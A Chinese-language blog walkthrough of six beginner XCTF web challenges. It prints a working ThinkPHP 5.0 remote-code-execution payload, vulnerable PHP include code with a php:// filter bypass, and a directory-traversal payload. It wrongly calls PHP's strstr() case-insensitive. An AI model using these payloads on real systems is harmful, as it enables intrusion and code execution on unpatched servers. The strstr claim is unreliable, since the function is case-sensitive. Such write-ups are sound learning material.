天天看點

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

文章目錄

  • 前言
  • - - > baby_web
  • - - > Training-WWW-Robots
  • - - > php_rce
  • - - > Web_php_include
  • - - > ics-06
  • - - > warmup
    • 總結/收獲

前言

最近也算正式開始了安全方面的學習,想總結一下寫過的一些題目,覺得寫部落格是一個不錯的可以記錄學習曆程的方式,目前是零基礎小白,也是第一次寫部落格,有收藏很多大佬的部落格,往後會好好學習師傅們的部落格内容,優化一下自己的部落格。(有師傅有好的建議的話也可以提一提🌹)

- - > baby_web

* 考點:重定向
           

題目描述:想想初始頁面是哪個

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

根據題目描述的提示,通路index.php後發現重定向,嘗試抓包

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

通路得到flag:flag{very_baby_web}

- - > Training-WWW-Robots

* 考點:robots.txt
           

通路robots.txt,發現有

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

通路得到

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

flagcyberpeace{eac017d052248ca0093cc503b9e8ff07}

- - > php_rce

打開發現是thinkphp5.0架構,直接百度搜尋該架構漏洞

攻防世界web高手區(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

戳- - > thinkphp_RCE漏洞 < - -

直接利用RCE漏洞的payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag 得到

攻防世界web高手區(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

再payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

攻防世界web高手區(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

flag:flag{thinkphp5_rce}

- - > Web_php_include

* 考點:php://的繞過(php僞協定)
           
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
           

strstr()函數:查找字元串首次出現的位置,傳回字元串及後邊剩餘部分

## strstr函數對大小寫不敏感,是以這題可以用PHP://來繞過

攻防世界web高手區(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

## 此題還可以用data://來寫

- - > ics-06

* 考點:爆破
           

題目描述: 雲平台報表中心收集了裝置管理基礎服務的資料,但是資料被删除了,隻有一處留下了入侵者的痕迹。

點開報表中心

攻防世界web高手區(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

抓包爆破ID,從1到10000

攻防世界web高手區(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

cyberpeace{f6eda182317020925da505f78a88a97a}

- - > warmup

* 考點:代碼審計、目錄穿越
           
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }


            if (in_array($page, $whitelist)) {
                return true;
            }


            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }


            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }


    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
           

substr()函數:substr($str,0,2)傳回字元串中第1個字元開始,長度為2的内容

mb_substr():字元串中可含有中文

mb_strpos(): 傳回被查找的字元串在另一字元串中首次出現的位置

mb_strpos(‘哔啦啦’,‘啦啦’):傳回1

include ‘hint.php?flag.php’; 将傳回後面的檔案

此題payload:?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg

得到flag: flag{25e7bce6005c4e0c983fb97297ac6e5a}

總結/收獲

* strstr()函數對大小寫不敏感,可以用此特性繞過
           

繼續閱讀